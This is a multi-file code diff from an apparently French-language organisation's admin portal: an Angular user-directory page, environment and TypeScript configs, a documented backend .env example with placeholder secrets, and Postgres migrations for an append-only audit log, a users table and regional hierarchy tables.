const PAGE_SIZES = [25, 50, 100, 200] as const;
/**
* User directory viewer per ADR-0020's v1 admin catalogue. Consumes
* `GET /api/admin/users` from the BFF (PR #141) and renders:
*
* - Filter row: username prefix, displayName contains,
* audience, last-seen-at range, page-size selector.
* - Paginated table with `oid`, `displayName`, `username`,
* `audience`, `firstSeenAt`, `lastSeenAt` columns.
* - Pagination controls + loading / empty / error states.
*
* Mirrors the `/audit` page (PR #136) in shape and signal layout
* so a future contributor lands familiar code regardless of which
* admin module they open first.
*/
@Component({
selector: 'app-users-page',
imports: [FormsModule, RouterLink],
templateUrl: './users.html',
styleUrl: './users.scss',
changeDetection: ChangeDetectionStrategy.OnPush,
})
export class UsersPage {
private readonly service = inject(AdminUsersService);
protected readonly pageSizes = PAGE_SIZES;
protected readonly username = signal('');
protected readonly displayName = signal('');
protected readonly audience = signal<'' | 'workforce' | 'customer'>('');
protected readonly lastSeenAtFrom = signal('');
protected readonly lastSeenAtTo = signal('');
protected readonly limit = signal<number>(50);
protected readonly offset = signal<number>(0);
protected readonly page = signal<AdminUsersPage | null>(null);
protected readonly loading = signal(false);
protected readonly error = signal<string | null>(null);
protected readonly hasNextPage = computed(() => {
const p = this.page();
if (p === null) return false;
return p.offset + p.items.length < p.total;
});
protected readonly hasPreviousPage = computed(() => {
const p = this.page();
if (p === null) return false;
return p.offset > 0;
});
protected readonly resultRange = computed(() => {
const p = this.page();
if (p === null) return '';
if (p.items.length === 0) return p.total === 0 ? 'No users' : `0 of ${p.total}`;
const first = p.offset + 1;
const last = p.offset + p.items.length;
return `${first}${last} of ${p.total}`;
});
async search(): Promise<void> {
this.offset.set(0);
await this.fetch();
}
async next(): Promise<void> {
if (!this.hasNextPage()) return;
this.offset.update((o) => o + this.limit());
await this.fetch();
}
async previous(): Promise<void> {
if (!this.hasPreviousPage()) return;
this.offset.update((o) => Math.max(0, o - this.limit()));
await this.fetch();
}
async clearFilters(): Promise<void> {
this.username.set('');
this.displayName.set('');
this.audience.set('');
this.lastSeenAtFrom.set('');
this.lastSeenAtTo.set('');
this.offset.set(0);
await this.fetch();
}
protected formatTimestamp(iso: string): string {
try {
return new Date(iso).toLocaleString();
} catch {
return iso;
}
}
private async fetch(): Promise<void> {
this.loading.set(true);
this.error.set(null);
try {
const page = await firstValueFrom(this.service.query(this.buildFilters()));
this.page.set(page);
} catch (err) {
const status = errorStatus(err);
this.error.set(
status === 403
? 'You do not have access to the user directory on this session.'
: 'Could not load the user directory. Try again in a moment.',
);
this.page.set(null);
} finally {
this.loading.set(false);
}
}
private buildFilters(): AdminUsersQuery {
return {
username: this.username().trim() || undefined,
displayName: this.displayName().trim() || undefined,
audience: this.audience() || undefined,
lastSeenAtFrom: this.lastSeenAtFrom() ? toIso(this.lastSeenAtFrom()) : undefined,
lastSeenAtTo: this.lastSeenAtTo() ? toIso(this.lastSeenAtTo()) : undefined,
limit: this.limit(),
offset: this.offset(),
};
}
ngOnInit(): void {
void this.fetch();
}
}
function toIso(localValue: string): string {
// `<input type="datetime-local">` emits `YYYY-MM-DDTHH:mm` (no
// timezone). Treat as the user's local time and convert to ISO
// 8601 so the BFF's IsISO8601 validator accepts it.
const d = new Date(localValue);
return Number.isNaN(d.getTime()) ? localValue : d.toISOString();
}
function errorStatus(err: unknown): number | null {
if (typeof err === 'object' && err !== null && 'status' in err) {
const s = (err as { status: unknown }).status;
return typeof s === 'number' ? s : null;
}
return null;
}
@@ -0,0 +1,62 @@
/**
* Per-environment configuration for `portal-admin`, per ADR-0018.
*
* Holds the dev defaults; per-environment siblings
* (`environment.staging.ts`, `environment.prod.ts`) land alongside
* once those targets exist, and `project.json` declares a
* `fileReplacements` entry to swap at build time.
*
* Shape mirrors `apps/portal-shell/src/environments/environment.ts`
* intentionally: any change here that affects the consumer contract
* with `feature-auth` must be made in both files (same env vars on
* the lib side, same BFF base URL pattern).
*/
export const environment = {
/**
* Prefix of the BFF HTTP API. Same value as portal-shell — both
* SPAs talk to the same BFF (per ADR-0020 §"Where does the admin
* app live"). The admin-specific routing happens via the
* `AUTH_PATH_PREFIX` token (`/admin/auth`) provided in
* `app.config.ts`, not by talking to a different host.
*
* Relative path: see portal-shell `environment.ts` for the full
* rationale. Both SPAs use `proxy.conf.js` to proxy `/api/*` to
* the BFF, keeping every call same-origin in the browser.
*/
bffApiBaseUrl: '/api',
/**
* Name of the BFF's CSRF cookie. v1 reuses `portal_csrf`
* (shared between surfaces; see PR #129's notes on
* `__Host-portal_csrf` / `portal_csrf`). A future hardening
* could split this into `portal_admin_csrf` when both portals
* are open simultaneously becomes a regular pattern.
*/
bffCsrfCookieName: 'portal_csrf',
/**
* OTLP/HTTP traces endpoint — same OTel collector as portal-shell.
*/
otlpEndpoint: 'http://localhost:4318/v1/traces',
/**
* Origin of the sibling `portal-shell` SPA — drives the "Open
* Portal Shell" entry in the admin user menu. Symmetric with
* `portal-shell`'s `adminAppUrl`; per ADR-0020 the two SPAs live
* on distinct origins, so this is a raw cross-origin `<a href>`,
* not an Angular route.
*/
shellAppUrl: 'http://localhost:4200',
/**
* Base origin of the Jaeger UI — the trace-explorer the admin
* audit-log viewer links each `trace_id` to. Dev points at the
* compose-managed Jaeger from the `observability` profile (see
* `infra/local/dev.compose.yml`). Prod will switch to whatever
* trace backend the future infrastructure ADR picks (Tempo,
* Grafana Cloud, on-prem Jaeger…) via the per-env file replacement.
*
* Trace URLs are built as `${jaegerBaseUrl}/trace/<id>`.
*/
jaegerBaseUrl: 'http://localhost:16686',
};
+23
View File
@@ -0,0 +1,23 @@
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>APF Portal Admin</title>
<base href="/" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<!-- Favicons + PWA manifest. Same image assets as portal-shell —
single visual identity across the apps — with an admin-
specific webmanifest so the PWA install banner reads "APF
Portal Admin" / "Admin" instead of the portal-shell name. -->
<link rel="icon" type="image/svg+xml" href="favicons/favicon.svg" />
<link rel="icon" type="image/png" sizes="96x96" href="favicons/favicon-96x96.png" />
<link rel="shortcut icon" href="favicons/favicon.ico" />
<link rel="apple-touch-icon" sizes="180x180" href="favicons/apple-touch-icon.png" />
<link rel="manifest" href="favicons/site.webmanifest" />
<meta name="theme-color" content="#ffffff" />
</head>
<body>
<app-root></app-root>
</body>
</html>
@@ -0,0 +1,48 @@
<?xml version="1.0" encoding="UTF-8" ?>
<xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
<file source-language="en" target-language="fr" datatype="plaintext" original="ng2.template">
<body>
<!-- app -->
<trans-unit id="app.skipLink" datatype="html">
<source>Skip to main content</source>
<target>Aller au contenu principal</target>
</trans-unit>
<!-- route -->
<trans-unit id="route.home.title" datatype="html">
<source>APF Portal Admin</source>
<target>Administration APF Portal</target>
</trans-unit>
<trans-unit id="route.audit.title" datatype="html">
<source>Audit log — APF Portal Admin</source>
<target>Journal daudit — Administration APF Portal</target>
</trans-unit>
<trans-unit id="route.users.title" datatype="html">
<source>Users — APF Portal Admin</source>
<target>Utilisateurs — Administration APF Portal</target>
</trans-unit>
<trans-unit id="route.user-scopes.title" datatype="html">
<source>User scopes — APF Portal Admin</source>
<target>Périmètres utilisateur — Administration APF Portal</target>
</trans-unit>
<trans-unit id="route.profile.title" datatype="html">
<source>Profile — APF Portal Admin</source>
<target>Profil — Administration APF Portal</target>
</trans-unit>
<!-- page.home -->
<trans-unit id="page.home.title" datatype="html">
<source> APF Portal Admin </source>
<target> Administration APF Portal </target>
</trans-unit>
<trans-unit id="page.home.intro" datatype="html">
<source> Administrative back-office for the APF Portal. The first functional modules — content management, menu administration, user list, audit log viewer — land in upcoming PRs per ADR-0020. </source>
<target> Back-office dadministration pour le portail APF. Les premiers modules fonctionnels — gestion de contenu, gestion du menu, liste des utilisateurs, visualiseur daudit log — arrivent dans les PRs à venir conformément à lADR-0020. </target>
</trans-unit>
<trans-unit id="page.home.status" datatype="html">
<source> Skeleton — coming soon </source>
<target> Squelette — bientôt disponible </target>
</trans-unit>
</body>
</file>
</xliff>
+5
View File
@@ -0,0 +1,5 @@
import { bootstrapApplication } from '@angular/platform-browser';
import { appConfig } from './app/app.config';
import { App } from './app/app';
bootstrapApplication(App, appConfig).catch((err) => console.error(err));
+33
View File
@@ -0,0 +1,33 @@
/*
* Global styles for portal-admin.
*
* Same baseline as portal-shell — Tailwind CSS 4 (CSS-first config),
* class-based dark mode, brand palette tokens shared from
* `libs/shared/tokens`. The two apps wear the same visual chrome so
* an APF user moving between portal and admin doesn't feel a context
* switch in the design system itself; what differentiates the admin
* surface is the data density and the "Admin" badge in the shell
* (added once the admin shell PR ships).
*/
@import 'tailwindcss';
@custom-variant dark (&:where(.dark, .dark *));
/* Brand palette tokens — shared with portal-shell. */
@import '../../../libs/shared/tokens/src/brand-tokens.css';
/*
* The admin shell is a "fills the viewport, never scrolls the body"
* layout: <app-root> is locked at height: 100vh, and <main> owns its
* own overflow-y. If anything inside the shell ever pushes content
* past the viewport (a wide chart, a flex sizing bug, a third-party
* iframe), we'd rather clip than show a phantom body scrollbar plus
* the empty space below the footer that comes with it. The element-
* level overflow on <main> still produces a real, scrollable region
* for content that overflows by design.
*/
html,
body {
overflow-y: hidden;
}
+20
View File
@@ -0,0 +1,20 @@
{
"extends": "./tsconfig.json",
"compilerOptions": {
"outDir": "../../dist/out-tsc",
"types": ["@angular/localize"]
},
"include": ["src/**/*.ts"],
"exclude": ["src/**/*.spec.ts", "src/**/*.test.ts"],
"references": [
{
"path": "../../libs/shared/charts/tsconfig.lib.json"
},
{
"path": "../../libs/shared/ui/tsconfig.lib.json"
},
{
"path": "../../libs/feature/auth/tsconfig.lib.json"
}
]
}
+23
View File
@@ -0,0 +1,23 @@
{
"extends": "../../tsconfig.base.json",
"compilerOptions": {
"emitDecoratorMetadata": false,
"module": "preserve"
},
"angularCompilerOptions": {
"enableI18nLegacyMessageIdFormat": false,
"strictInjectionParameters": true,
"strictInputAccessModifiers": true,
"strictTemplates": true
},
"files": [],
"include": [],
"references": [
{
"path": "./tsconfig.app.json"
},
{
"path": "./tsconfig.spec.json"
}
]
}
+8
View File
@@ -0,0 +1,8 @@
{
"extends": "./tsconfig.json",
"compilerOptions": {
"outDir": "../../dist/out-tsc",
"types": ["vitest/globals", "@angular/localize"]
},
"include": ["src/**/*.ts", "src/**/*.d.ts"]
}
+239 -30
View File
@@ -4,48 +4,257 @@
# Postgres connection (per ADR-0006) # Postgres connection (per ADR-0006)
# Local dev default: dockerised Postgres on port 5432, schema 'public'. # Local dev default: dockerised Postgres on port 5432, schema 'public'.
DATABASE_URL="postgresql://portal:portal@localhost:5432/portal_dev?schema=public" # Username / password / db must match infra/local/.env (POSTGRES_USER /
# POSTGRES_PASSWORD / POSTGRES_DB) — those are the source of truth,
# this is the BFF view of the same connection.
#
# IMPORTANT — URL encoding. The password is part of the URL userinfo
# segment, so any of these characters must be URL-encoded:
# @ → %40 # → %23 : → %3A / → %2F ? → %3F
# % → %25 & → %26 = → %3D + → %2B ; → %3B
# i.e. if your POSTGRES_PASSWORD is "p@ss#1", DATABASE_URL must read
# "postgresql://portal:p%40ss%231@localhost:5432/portal_dev?schema=public"
# The BFF aborts at boot with a clear error if it detects an unencoded
# special character (see apps/portal-bff/src/config/check-database-url.ts).
DATABASE_URL="postgresql://portal:portal_dev_change_me@localhost:5432/portal_dev?schema=public"
# Observability (per ADR-0012)
# All OTEL_* keys are honoured by the OpenTelemetry SDK directly — see
# apps/portal-bff/src/observability/tracing.ts for the bootstrap.
# Pino log level: 'info' in prod, 'debug' in dev (default if unset).
LOG_LEVEL=debug
OTEL_SERVICE_NAME=portal-bff
OTEL_SERVICE_VERSION=dev
# Default endpoint targets the Collector provisioned in
# infra/local/dev.compose.yml. The /v1/traces suffix is required by
# the HTTP/Protobuf transport.
OTEL_EXPORTER_OTLP_ENDPOINT=http://localhost:4318/v1/traces
OTEL_EXPORTER_OTLP_PROTOCOL=http/protobuf
# v1 samples 100 % at the app; tail sampling is delegated to the
# Collector (per ADR-0012). Override only for spike investigations.
OTEL_TRACES_SAMPLER=always_on
# Identity / Entra ID app registration (per ADR-0008 / ADR-0009)
# Values come from the project's Entra application registration in the
# Azure Admin Center → App registrations → APF Portal. The four
# *_INSTANCE_URL / *_TENANT_ID / *_CLIENT_ID / *_CLIENT_SECRET keys
# are mandatory; the BFF refuses to boot without them (see
# apps/portal-bff/src/config/check-entra-config.ts).
#
# ENTRA_INSTANCE_URL is the Microsoft login endpoint — usually
# https://login.microsoftonline.com/. The authority used by MSAL is
# `${ENTRA_INSTANCE_URL}${ENTRA_TENANT_ID}` for single-tenant flows,
# or `${ENTRA_INSTANCE_URL}organizations` / `common` for multi-tenant
# (per ADR-0008's dual-audience design). v1 uses the tenant-scoped
# authority; the multi-tenant switch lands when External ID activation
# is needed.
#
# ENTRA_CLIENT_SECRET is the high-value secret of this set. Never
# commit a real value. Production manages it via the deploy platform's
# secret manager (future infrastructure ADR).
ENTRA_INSTANCE_URL=https://login.microsoftonline.com/
ENTRA_TENANT_ID=00000000-0000-0000-0000-000000000000
ENTRA_CLIENT_ID=00000000-0000-0000-0000-000000000000
ENTRA_CLIENT_SECRET=replace_with_real_value
# Redirect URIs registered in Entra alongside the same client id.
# User portal — `/api/auth/callback` is the OIDC return URL; the
# post-logout URL is where Entra sends the browser after RP-initiated
# logout (typically the SPA landing page).
#
# The four `localhost` values below are the **WSL-native default** —
# browser and BFF on the same host, `http://localhost:*` redirect
# URIs (which Entra accepts as the only exception to its HTTPS rule).
# Leave them here in this file regardless of how the docker `apps`
# profile is being run.
#
# For the ADR-0030 dockerised `apps` profile accessed via a
# hostname (e.g. `https://apf-portal.dev-jg.local:4200/`), do NOT
# edit these values — instead override them at the compose level
# from `infra/local/.env`. Compose's `environment:` block on the
# `portal-bff` service interpolates each of these four vars at
# parse time and wins over `env_file:`, so the BFF in the container
# sees the hostname URIs while native `nx serve` keeps reading
# this file's localhost defaults. See
# `infra/README.md` → "Switching between dev modes" for the
# two-mode toggle.
ENTRA_REDIRECT_URI=http://localhost:3000/api/auth/callback
ENTRA_POST_LOGOUT_REDIRECT_URI=http://localhost:4200/
# Admin portal — distinct callback per ADR-0020 §"Sessions — distinct
# from `portal-shell`" so Entra routes the response to the matching
# session. Both `ENTRA_REDIRECT_URI` and `ENTRA_ADMIN_REDIRECT_URI`
# must be registered in the same Entra app registration's
# "Redirect URIs" list. Distinct post-logout URL routes admin
# sign-outs to the admin SPA's landing page (port 4300 in dev — see
# apps/portal-admin/project.json `serve.options.port`).
ENTRA_ADMIN_REDIRECT_URI=http://localhost:3000/api/admin/auth/callback
ENTRA_ADMIN_POST_LOGOUT_REDIRECT_URI=http://localhost:4300/
# Authorization model (per ADR-0025). Points at the JSON file that
# maps tenant-private Entra security-group GUIDs to the closed
# catalogue of `apf-role-*` slugs. The BFF loads it at boot through
# `EntraGroupToRoleResolver` (libs/shared/auth). Unset means the
# resolver runs empty — sign-in still succeeds but every user gets
# zero functional roles (no `apf-role-*` UI). A WARN is logged at
# boot so an operator can spot the missing config. See
# `infra/test-tenant.entra.example.json` for the schema; copy to
# `infra/test-tenant.entra.json` (gitignored) and fill in the real
# GUIDs from the Entra admin centre.
ENTRA_GROUP_MAP_PATH=infra/test-tenant.entra.json
# Test-tenant per-persona Entra `oid` map (per ADR-0026 PR 2).
# Consumed by `apps/portal-bff/prisma/seed.ts` to upsert Person +
# User + UserScope rows for the 19 test personas. Distinct from
# `ENTRA_GROUP_MAP_PATH` which points at the 24 functional-role
# *group* guids. Unset means `prisma db seed` skips the test-tenant
# section (no Person/User/UserScope rows seeded — lazy creation at
# first sign-in still works). See
# `infra/test-tenant.personas.example.json` for the schema.
TEST_TENANT_PERSONAS_PATH=infra/test-tenant.personas.json
# Cookie signing secret (per ADR-0009 §"Cookies"). Used to sign the
# transient pre-auth cookie that carries the OIDC `state` + PKCE
# verifier between the /auth/login redirect and the /auth/callback
# round-trip, and (once ADR-0010 ships) the session cookie's
# integrity layer. Mandatory at boot — the BFF aborts if missing or
# obviously weak (less than 32 base64-decoded bytes ≈ 256 bits of
# entropy). Generate a fresh value per environment:
#
# node -e "console.log(require('crypto').randomBytes(32).toString('base64url'))"
SESSION_SECRET=replace_with_32_random_bytes_base64url
# Redis connection (per ADR-0010). The BFF uses `ioredis` for session
# storage (today: just the connection; the express-session +
# connect-redis middleware lands in the next PR).
#
# REDIS_URL — full URL form including auth. Must match `infra/local/.env`
# (REDIS_PASSWORD + REDIS_PORT) when running against the local Compose
# stack. Production wiring uses Sentinel (REDIS_SENTINEL_HOSTS +
# REDIS_SENTINEL_NAME — future-vars block below) and TLS; the current
# variable supports the dev single-instance shape only.
REDIS_URL=redis://default:redis_dev_change_me@localhost:6379/0
# Session payload encryption (per ADR-0010 §"At-rest encryption").
# AES-256-GCM key for encrypting the session JSON that connect-redis
# writes to Redis, so a Redis dump never carries raw user identities
# / future tokens / claims in plaintext. **Distinct** from
# SESSION_SECRET, which only signs the cookie's session-id — never
# reuse one for the other. Mandatory at boot.
#
# node -e "console.log(require('crypto').randomBytes(32).toString('base64url'))"
SESSION_ENCRYPTION_KEY=replace_with_32_random_bytes_base64url
# OBO downstream-token cache encryption (per ADR-0014 §"Token cache
# (for OBO)"). AES-256-GCM key for encrypting Entra-issued downstream
# tokens cached in Redis under `obo:{actor_id_hash}:{resource}`.
# **Dedicated key** — must differ from SESSION_ENCRYPTION_KEY so a
# leak of one does not cascade into the other. The boot validator
# refuses an identical value. Mandatory at boot.
#
# node -e "console.log(require('crypto').randomBytes(32).toString('base64url'))"
OBO_CACHE_ENCRYPTION_KEY=replace_with_32_random_bytes_base64url
# BFF JWKS signing material (per ADR-0014 §"Service strategy"). The
# BFF mints short-lived `X-User-Assertion` JWTs to propagate user
# identity to non-Entra downstreams; downstreams verify the signature
# against `/.well-known/jwks.json`. Both values are mandatory at boot.
#
# Generate an RSA private key:
# mkdir -p apps/portal-bff/.secrets && \
# openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:3072 \
# -out apps/portal-bff/.secrets/jwks.pem
#
# RSA-2048 is the minimum the validator accepts; 3072 is the
# default recommendation. EC P-256 / P-384 also accepted.
BFF_JWKS_PRIVATE_KEY_PATH=apps/portal-bff/.secrets/jwks.pem
# Stable key id published in the JWKS + emitted in the JWT `kid`
# header. URL-safe charset only ([A-Za-z0-9_-], 4128 chars). Bump
# this when rotating to a new key.
BFF_JWKS_KID=bff-2026-05
# Session timeouts (per ADR-0010). Both optional with sensible
# defaults; override only when staging / prod policy diverges.
# SESSION_IDLE_TIMEOUT_SECONDS — sliding window. Each request
# extends the cookie's `expires` by this many seconds.
# Default 1800 (30 min).
# SESSION_ABSOLUTE_TIMEOUT_SECONDS — hard ceiling. Session is
# destroyed regardless of activity at this age.
# Default 43200 (12 h).
# SESSION_IDLE_TIMEOUT_SECONDS=1800
# SESSION_ABSOLUTE_TIMEOUT_SECONDS=43200
# Per-environment salt used to pseudonymise the user id before it
# lands in audit rows (per ADR-0013 §"Schema") and in Pino app log
# lines (per ADR-0012 §"User id hashing"). Same value must be used
# on both sides so audit and app logs join on `actor_id_hash`.
#
# Rotation invalidates the join key — old rows / log lines can no
# longer be correlated with the new hash. Treat as long-lived per
# environment. Mandatory at boot.
#
# node -e "console.log(require('crypto').randomBytes(32).toString('base64url'))"
LOG_USER_ID_SALT=replace_with_32_random_bytes_base64url
# CORS allowlist (per ADR-0009 §"CORS"). Comma-separated list of
# origins (scheme://host[:port]) allowed to call the BFF with
# credentials. The BFF refuses to start without this — silently
# defaulting to localhost is the classic "works in dev, breaks in
# prod" trap.
#
# Local dev: portal-shell on :4200 and portal-admin on :4300 — both
# call the BFF with credentials. Source of truth for the ports:
# `apps/<app>/project.json` `serve.options.port`.
CORS_ALLOWED_ORIGINS=http://localhost:4200,http://localhost:4300
# Rate limiting (per ADR-0015 §"DoS mitigation"). Both optional
# with conservative defaults; override per environment when traffic
# patterns demand it. The BFF keys buckets by session id when the
# request is authenticated, by remote IP otherwise — rotating
# sessions doesn't dodge the limit.
# RATE_LIMIT_PER_MINUTE — general bucket. Default 120 (~ 2 r/s).
# RATE_LIMIT_AUTH_PER_MINUTE — stricter bucket on /auth/login and
# /auth/callback. Default 10/min, to
# slow brute-force / replay loops
# without inconveniencing legit users.
# RATE_LIMIT_PER_MINUTE=120
# RATE_LIMIT_AUTH_PER_MINUTE=10
# Future env vars introduced by upcoming phases / ADRs: # Future env vars introduced by upcoming phases / ADRs:
# #
# Auth flow (ADR-0009): # Auth flow (ADR-0009) — additional keys wired as the routes land:
# ENTRA_TENANT_ID # ENTRA_CLIENT_CERT_PATH (alternative to ENTRA_CLIENT_SECRET)
# ENTRA_CLIENT_ID # ENTRA_ACCEPTED_TENANT_IDS (CSV; restricts which tenants can sign in
# ENTRA_CLIENT_SECRET (or ENTRA_CLIENT_CERT_PATH) # in the multi-tenant phase — empty means
# ENTRA_ACCEPTED_TENANT_IDS # "only ENTRA_TENANT_ID is accepted")
# ENTRA_REDIRECT_URI
# ENTRA_POST_LOGOUT_REDIRECT_URI
# SESSION_SECRET
# #
# Sessions (ADR-0010): # Sessions (ADR-0010) — additional keys wired as the layers land:
# REDIS_URL (or REDIS_SENTINEL_HOSTS + REDIS_SENTINEL_NAME) # REDIS_SENTINEL_HOSTS (CSV `host:port,host:port,…`; prod HA)
# REDIS_PASSWORD # REDIS_SENTINEL_NAME (master name in Sentinel; prod HA)
# REDIS_TLS ('true' in prod) # REDIS_TLS ('true' in prod)
# SESSION_ENCRYPTION_KEY (32-byte base64)
# SESSION_IDLE_TIMEOUT_SECONDS (default 1800)
# SESSION_ABSOLUTE_TIMEOUT_SECONDS (default 43200)
# #
# MFA (ADR-0011): # MFA (ADR-0011):
# MFA_FRESHNESS_SECONDS (default 600) # MFA_FRESHNESS_SECONDS (default 600)
# #
# Observability (ADR-0012):
# LOG_LEVEL ('info' in prod, 'debug' in dev)
# LOG_USER_ID_SALT (per-environment salt)
# OTEL_SERVICE_NAME ('portal-bff')
# OTEL_SERVICE_VERSION
# OTEL_RESOURCE_ATTRIBUTES
# OTEL_EXPORTER_OTLP_ENDPOINT
# OTEL_EXPORTER_OTLP_PROTOCOL ('http/protobuf')
# OTEL_TRACES_SAMPLER ('always_on' in v1)
#
# Audit trail (ADR-0013): # Audit trail (ADR-0013):
# AUDIT_DATABASE_URL (separate creds, role 'audit_writer') # AUDIT_DATABASE_URL (separate creds, role 'audit_writer')
# AUDIT_ARCHIVER_DATABASE_URL (role 'audit_archiver', for the retention purge job) # AUDIT_ARCHIVER_DATABASE_URL (role 'audit_archiver', for the retention purge job)
# AUDIT_RETENTION_DAYS (default 365) # AUDIT_RETENTION_DAYS (default 365)
# #
# Downstream API access (ADR-0014): # Downstream API access (ADR-0014):
# OBO_CACHE_ENCRYPTION_KEY (32-byte base64, distinct from SESSION_ENCRYPTION_KEY) # OBO_CACHE_ENCRYPTION_KEY — wired
# BFF_JWKS_PRIVATE_KEY_PATH # BFF_JWKS_PRIVATE_KEY_PATH — wired
# BFF_JWKS_KID # BFF_JWKS_KID — wired
# <SERVICE>_API_BASE_URL (per integrated downstream) # <SERVICE>_API_BASE_URL (per integrated downstream — lands with the first integration)
# <SERVICE>_TIMEOUT_MS (optional, defaults to 5000) # <SERVICE>_TIMEOUT_MS (optional, defaults to 5000 — lands with the first integration)
# AI service relay (ADR-0024) — the BFF dials apf-ai-service over
# native gRPC HTTP/2 and bridges chat streams to SSE for the SPA.
# apf-ai-service runs from its own repo (../apf-ai-service); use
# that repo's docker-compose.yml to bring it up locally, then point
# AI_SERVICE_GRPC_ENDPOINT here at the host-published port. No
# JWT/auth on the wire in v1 — the Principal travels in the proto
# body (per ADR-0024 §"Sub-decision 4 — POC unsigned principal").
AI_SERVICE_GRPC_ENDPOINT=localhost:8080
AI_SERVICE_CLIENT_ID=apf-portal-dev
# Set to 'true' in preprod/prod (h2 + TLS via the edge proxy);
# 'false' in dev for h2c against the local apf-ai-service.
AI_SERVICE_GRPC_TLS=false
+14
View File
@@ -6,5 +6,19 @@ module.exports = {
'^.+\\.[tj]s$': ['ts-jest', { tsconfig: '<rootDir>/tsconfig.spec.json' }], '^.+\\.[tj]s$': ['ts-jest', { tsconfig: '<rootDir>/tsconfig.spec.json' }],
}, },
moduleFileExtensions: ['ts', 'js', 'html'], moduleFileExtensions: ['ts', 'js', 'html'],
// Several deps ship ESM-only; without an explicit transform
// exception ts-jest skips node_modules and Jest fails parsing the
// import statements. Listed by name rather than a broad pattern
// so each new ESM-only dep is a conscious addition.
//
// The pattern walks pnpm's deep layout: any path under
// `/node_modules/` is ignored UNLESS the path also contains one
// of the listed package fragments — catches both the hoisted
// symlink at `node_modules/<pkg>/...` and the pnpm-internal real
// path at `node_modules/.pnpm/<pkg>@<version>/node_modules/<pkg>/...`.
//
// jose — JOSE primitives (signed-assertion strategy, PR #138).
// @scalar/ — Scalar API reference UI + transitive ESM bits.
transformIgnorePatterns: ['/node_modules/(?!.*(jose|@scalar/))'],
coverageDirectory: '../../coverage/apps/portal-bff', coverageDirectory: '../../coverage/apps/portal-bff',
}; };
@@ -0,0 +1,67 @@
-- CreateSchema
CREATE SCHEMA IF NOT EXISTS "audit";
-- CreateEnum
CREATE TYPE "audit"."AuditAudience" AS ENUM ('workforce', 'customer');
-- CreateEnum
CREATE TYPE "audit"."AuditOutcome" AS ENUM ('success', 'failure', 'denied');
-- CreateTable
CREATE TABLE "audit"."events" (
"id" UUID NOT NULL,
"created_at" TIMESTAMPTZ(6) NOT NULL DEFAULT CURRENT_TIMESTAMP,
"event_type" TEXT NOT NULL,
"audience" "audit"."AuditAudience" NOT NULL,
"actor_id_hash" TEXT,
"trace_id" TEXT,
"subject" TEXT,
"outcome" "audit"."AuditOutcome" NOT NULL,
"payload" JSONB,
CONSTRAINT "events_pkey" PRIMARY KEY ("id")
);
-- CreateIndex
CREATE INDEX "events_created_at_idx" ON "audit"."events"("created_at");
-- CreateIndex
CREATE INDEX "events_event_type_idx" ON "audit"."events"("event_type");
-- CreateIndex
CREATE INDEX "events_trace_id_idx" ON "audit"."events"("trace_id");
-- ============================================================
-- Append-only contract per ADR-0013
-- ============================================================
-- The schema-level DEFAULT PRIVILEGES set in
-- infra/local/init/postgres/01-init.sql only fire when audit_owner
-- creates the object. This migration runs as a privileged migrator
-- (the same login that owns the public schema), so the table is
-- initially owned by that user and audit_writer/reader/archiver
-- have no grants. Re-apply the owner transfer + grants explicitly
-- so the runtime role contract holds.
ALTER TABLE "audit"."events" OWNER TO audit_owner;
ALTER TYPE "audit"."AuditAudience" OWNER TO audit_owner;
ALTER TYPE "audit"."AuditOutcome" OWNER TO audit_owner;
GRANT INSERT ON "audit"."events" TO audit_writer;
GRANT SELECT ON "audit"."events" TO audit_reader;
-- audit_archiver needs both DELETE *and* SELECT: per ADR-0013 it
-- removes rows "older than retention", which means evaluating a
-- WHERE clause on `created_at`. Postgres requires SELECT on every
-- column referenced in DELETE's WHERE, even when the row count is
-- the only thing returned. SELECT here does NOT widen the contract
-- — UPDATE / TRUNCATE remain ungranted to every role.
GRANT SELECT, DELETE ON "audit"."events" TO audit_archiver;
-- USAGE on the enum types is needed by every role that touches the
-- column. Without it, audit_writer's INSERT fails with "permission
-- denied for type audit.AuditAudience".
GRANT USAGE ON TYPE "audit"."AuditAudience" TO audit_writer, audit_reader, audit_archiver;
GRANT USAGE ON TYPE "audit"."AuditOutcome" TO audit_writer, audit_reader, audit_archiver;
-- No GRANT for UPDATE / TRUNCATE to anyone, including audit_owner
-- at runtime — schema migrations alone amend the table going
-- forward.
@@ -0,0 +1,29 @@
-- Users directory (per ADR-0020 §"v1 scope — User list").
--
-- Persistent ledger of identities the BFF has seen sign in to either
-- portal-shell or portal-admin. Upserted by `UserDirectoryService`
-- at every sign-in. Read by the future `GET /api/admin/users` admin
-- endpoint. Entra ID is the source of truth for identity; this
-- table is the BFF's local cache so the admin UI does not have to
-- re-query the IdP at every page render.
-- CreateTable
CREATE TABLE "users" (
"oid" TEXT NOT NULL,
"tid" TEXT NOT NULL,
"audience" TEXT NOT NULL,
"username" TEXT NOT NULL,
"display_name" TEXT NOT NULL,
"first_seen_at" TIMESTAMPTZ(6) NOT NULL DEFAULT CURRENT_TIMESTAMP,
"last_seen_at" TIMESTAMPTZ(6) NOT NULL DEFAULT CURRENT_TIMESTAMP,
CONSTRAINT "users_pkey" PRIMARY KEY ("oid")
);
-- DESC index supports the default admin sort ("most recently active first")
-- without a server-side sort.
CREATE INDEX "users_last_seen_at_idx" ON "users"("last_seen_at" DESC);
-- Plain (default ASC) index supports prefix matching on the
-- admin-side username filter.
CREATE INDEX "users_username_idx" ON "users"("username");
@@ -0,0 +1,121 @@
-- Organisational hierarchy (per ADR-0027).
--
-- Region → Delegation → Structure. The portal's ADR-0025 scope-axis
-- dereferences these three layers — the BFF guard
-- `principalCoversResource` walks etablissement → delegation → region
-- to decide whether a scope covers a resource. The schema lives in
-- the public schema; ADR-0029 will populate the full APF inventory
-- via the cascade sync, additively into the columns defined here.
--
-- Inline seed at the bottom of this file: just the codes the
-- test tenant exercises (Région Nouvelle-Aquitaine, Délégation
-- Gironde, two médico-social structures + the APF national siège).
-- Superseded — not extended — by ADR-0029's cascade sync once it
-- ships.
-- CreateTable
CREATE TABLE "regions" (
"code" TEXT NOT NULL,
"name" TEXT NOT NULL,
CONSTRAINT "regions_pkey" PRIMARY KEY ("code")
);
-- CreateTable
CREATE TABLE "delegations" (
"code" TEXT NOT NULL,
"name" TEXT NOT NULL,
"region_code" TEXT NOT NULL,
CONSTRAINT "delegations_pkey" PRIMARY KEY ("code")
);
